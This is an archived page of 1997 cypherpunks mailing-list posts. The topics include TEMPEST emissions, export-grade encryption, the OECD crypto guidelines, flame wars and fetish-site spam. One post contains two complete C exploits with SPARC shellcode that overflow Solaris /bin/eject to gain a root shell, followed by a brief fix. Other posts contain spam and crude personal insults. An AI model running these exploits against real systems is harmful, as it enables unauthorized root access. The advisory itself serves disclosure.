December 2003 - cypherpunks-legacy

Re: TEMPEST protection
by Peter Trei 17 Dec '03

17 Dec '03

> Date: Wed, 12 Mar 1997 21:16:48 -0800 > From: Dale Thorn <dthorn(a)gte.net> > To: "Cynthia H. Brown" <cynthb(a)sonetis.com> > Cc: cypherpunks(a)toad.com, cypherpunks(a)algebra.com > Subject: Re: TEMPEST protection > Reply-to: Dale Thorn <dthorn(a)gte.net> > Cynthia H. Brown wrote: > > On Tue, 11 Mar 1997, Dale Thorn wrote: > > > Actually, the computer you type on will be very easy to pick out > > > of the noise field with modest spy equipment sitting down the street. > > > Other places to look for emissions: the power supply, and the connection > > points for peripherals. Make sure you leave adequate ventilation, though > > (another tricky part). > > Funny thing was, first time I used PGP I was typing in a passphrase > and apparently PGP was doing something to the keyboard processor > on my laptop, because all of a sudden I thought I'd gotten bat's > ears - I could hear interesting new noises every time I pressed a > key, which I hadn't heard before (at least at an audible volume). > > It occurred to me that typing in a PGP passphrase would be a > particularly bad time to increase the emissions.... One thing I've heard about laptops - nearly all of them have a video connector to allow use of a standard CRT monitor. This connector, and the chips driving it, are always active, and usually unshielded. Thus, many laptops are spewing video signals out the back. If you're paranoid (and handy with hardware), I suppose you could disconnect the video chip, or at least place an appropriate terminator in the video connection socket. Peter Trei trei(a)process.com

1 0

Re: Query:
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Path: perun!news2.panix.com!news.panix.com!panix!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!metro.atlanta.com!cpk-news-feed3.bbnplanet.com!tick.cs.wm.edu!zippy!nathan From: Nathan T Moore <nathan(a)cs.wm.edu> Newsgroups: sci.crypt Subject: Query: Message-ID: <Pine.SUN.3.95.970307000408.16276A-100000@zippy> Date: Wed, 12 Mar 1997 17:49:38 -0500 Reply-To: Nathan T Moore <nathan(a)cs.wm.edu> Organization: College of William & Mary, founded 1693 Lines: 18 NNTP-Posting-Host: zippy.cs.wm.edu Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: nathan@zippy (I am sure this has been asked before and is a bothersome newbie question) I am working on a research paper for my cryptography class dealing with the legal issues (IE policy), and the roles of agencies like NSA and NIST. The scope is limited to the US, so sorry for the Europeans and other nations. I would appreciate any web sites and/or FAQ's (I've read the cryptography FAQ and the RSA Cryptography FAQ) with related information. Thanks in advance, Nathan "Only in college will you find drunk guys frying pig brains and eating them, at 1 AM." (and NO they didn't say, "tastes like chicken" :)

1 0

128 bit Server and Browser Solution?
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text From: source(a)iaccess.za Date: Thu, 13 Mar 97 10:15:26 GMT+2 To: set-dev(a)terisa.com Subject: 128 bit Server and Browser Solution? Sender: owner-set-dev(a)terisa.com Precedence: bulk I believe this is of interest to folk on this list as we continue to develop our SET solution. A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0 Servers - Selling outside of the USA - include FREE Server and Browser certificates. ************************************************************************* VeriSure Overview __________________________________________________________________ Table of Contents 1. Full 128-bit encryption world wide 2. Proven SSL 3.0 technology 3. Protection against Java viruses 4. Features 5. Hardware and Software Requirements 6. Support 7. For more Information and for a Test Drive __________________________________________________________________ 1. Full 128-bit encryption world wide VeriSure is a Java-based applet that is automatically loaded when your customers need to access a secure site with 128 bits encryption. Browsers exported from the USA are crippled by 40 bit encryption because USA export regulations prevent export of 128 bit encryption. 40 bit encryption is easily broken with enough time and computing power. VeriSure extends those browsers to 128 bits to provide highly secure encryption (currently unbreakable), regardless of whether they are in the USA. This means you can offer your customers secure online transaction facilities such as banking, investment and other financial services. __________________________________________________________________ PowerWeb which is a high performance full 128-bit secure server ********************************************************************* CompuSource also offers PowerWeb which is a full 128-bit secure server with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0), providing HTTP, FTP, SMTP and POP3 services, with many extensions for rapid database application development and dynamic page content. __________________________________________________________________ 2. Proven SSL 3.0 technology VeriSure uses proven SSL 3.0 technology which provides authentication of servers and implements encrypted message digests on every packet to ensure data integrity against tampering, as well as 128 bit encryption for privacy and unlimited bits RSA encryption for authentication. VeriSure does not use SSL 2.0 which has several well known flaws, especially regarding message digests. The message digest authenticates the message against tampering or forgery which is especially important for financial transactions. Let's say a third party intercepts a message across the network and decrypts it. The value to that third party is limited to the content of the information of that single message, because that third party cannot create new messages for two reasons: the encryption key changes with every message and every message is authenticated with a message digest which cannot be reverse computed. __________________________________________________________________ 3. Protection against Java viruses Each VeriSure is protected by only allowing connections to specified sites. This protection is built into VeriSure by way of public key cryptography which means that other malicious applets or viruses cannot manipulate this information. VeriSure also performs SSL 3.0 authentication of the remote server upon every connection, thereby assuring customers of the true identity of the server they are connecting to. __________________________________________________________________ 4. Features VeriSure is built upon industry standards which means that you don't need custom server solutions. Being built upon standard Java 1.02 or later, it runs on any customer machine that has a web browser that supports Java, regardless of operating system. 128 bit Browser and Server Solution The VeriSure classes are available for licensing for third party application development. __________________________________________________________________ 5. Hardware and Software Requirements VeriSure is available for any platform that supports Java and has a Java-enabled web browser, including: AIX, Solaris, Windows NT, Windows 95, OS/2, MVS, OS/400. __________________________________________________________________ 6. Support CompuSource provides support to licensees of VeriSure, who in turn must support their customers. __________________________________________________________________ 7. For more Information and for a Test Drive: VeriSure http://www.compusource.co.za/verisure/index.htm PowerWeb http://www.compusource.co.za/powerweb/index.htm Regards, The Power Team SMTP: source(a)iaccess.za Tel: +27-21-713-2111 HTTP: http://www.compusource.co.za FAX: +27-21-713-0052 FTP: ftp://ftp.compusource.co.za Postal: Building 6, Room 201 CompuSource (Pty) Ltd PO Box 510, Constantia, 7848, South Africa. For faster response, please include previous correspondence to when replying. PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

1 0

Re: Toto Opportunity
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

camcc(a)abraxis.com (Alec) writes: > This might seem clever the first ten times, but try to realize that crap such > as this is a distraction to those who take the discussions on this list > seriously--for the most part. The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus it gives us the opportunity to learn to ignore what we're not interested in. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Good News/Bad News!!
by Ken Synder 17 Dec '03

17 Dec '03

Dear cypherpunks(a)toad.com: Good News: Since you or a friend entered our WIN a Science Fiction Hood Drawing we have been RATED A TOP FETISH SITE, by WEB Magazine!! <a href=http://www.sfdungeon.com/review.html>The Review</a>. <a href=http://www.sfdungeon.com/frdo0057.html>The Hood</a>. Bad News: I am sorry to inform you that you lost. But! Good News: We have received so many requests, and have added so many new things to our magazine, that we have decided to have another Science Fiction Hood Drawing!!!. That's right, you can enter and win again! Come see all our new attractions: Instructional VIDEOS and action VIDEOS DUNGEON CHAT CELEBRITY BONDAGE PERSONALS ADVICE COLUMNS Erotic Photo and Writing Contest OUR EXOTIC EROTIC BALL, which includes: Breasts of the Exotic Erotic Caught in the Act (People filmed having sex at the ball) Cool Female Costumes Many more categories If after you visit our site, you decide to become a member of the largest Dungeon Fantasy Toy and Apparel Catalog on the Internet, you are immediatly eligible to WIN 9 different prizes!!! And, you also receive our FREE S.F.Dungeon Screen Saver!!! A $39.00 Value!!! Enter NOW!! And, WIN the hood before it's to late!!! To The Contest http://www.sfdungeon.com Click Here For Video http://www.dungeonvideo.com Click Here For Personals http://www.dungeonpersonals.com Click Here You can email me at kendog(a)sfdungeon.com Good Luck. Enter NOW so you can WIN!! Sincerely Ken Synder P.S. To remove yourself from any future contest mailings, simply email us back with remove in the subject header.

1 0

OECD draft crypto guidelines
by Declan McCullagh 17 Dec '03

17 Dec '03

I've been given a copy of the draft OECD crypto guidelines that will be released later this month. They don't say what the Justice Department would like them to, I imagine. You can find more info at http://netlynews.com/ -Declan

1 0

Exploit for buffer overflow in /bin/eject - Solaris 2.X
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)sundy.cs.pub.ro, skipo(a)math.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C. May was born when his mother was on the toilet. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/

1 0

Silvernail Concedes / Hides In Shame
by TruthMonger 17 Dec '03

17 Dec '03

roy(a)sendai.scytale.com wroted: > an7575(a)anon.nymserver.com correctly states: > > I always wonder why there seem to be so many lame fucks on > > the cypherpunks list who, rather than responding to the posts > > on the list, seem to be responding to some broken recording > > going on in their own head. > > Something like you not responding to my challenge to produce an exploit, > no doubt. > My point stands. Your point is garbage and will remain garbage. The only 'explotation' involved in this thread is the introduction of issues which were not raised by my post. Rather than respond to the concerns I raised, Alan Olsen chose to spew forth some unrelated diatribe about old memories of people claiming to have 'broken' PGP. The cypherpunks list never seems to lack for members who seem to lack the capacity for independent thought and who then respond to invalid tangents to the issues raised, rather than give an intelligent response to the real issues raised. I noticed, long ago, that if Dr. Vulis posted several pages of intelligent, crypto-related material, then signed off with his "JG is a cocksucker" tag, that I could expect to see perhaps a single post dealing with the crypto issues he raised, and dozens of posts saying "is not" and/or "is too." Am I to presume that Alan and Roy used the Clipper chip as anal suppositories, for safe, secure, protection, right up to the moment that its weaknesses were found? I am certain that they are confident that the plastic Zimmerman they have on their computer dashboards will protect them from harm, but I put more faith in the words of Zimmerman himself, than in those who worship his graven software blindly. When Alan and Roy, among others, have blathered on about 'exploits' long enough to get it out of their system, then perhaps they might consider looking up the word 'compromised' and respond to the issues I raised in my post. Thus far, there has been nobody either competent or willing enough to address them. > Oh, by the way... if you actually do this, I hope other people talk > about it because the *PLONK* you just heard was you hitting my killfile. Ah, yes, the old '*PLONK* and *RUN*' gambit. Is that a 'tail' I see between Roy's legs? TruthMonger

1 0

more info
by C M 17 Dec '03

17 Dec '03

more info --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

1 0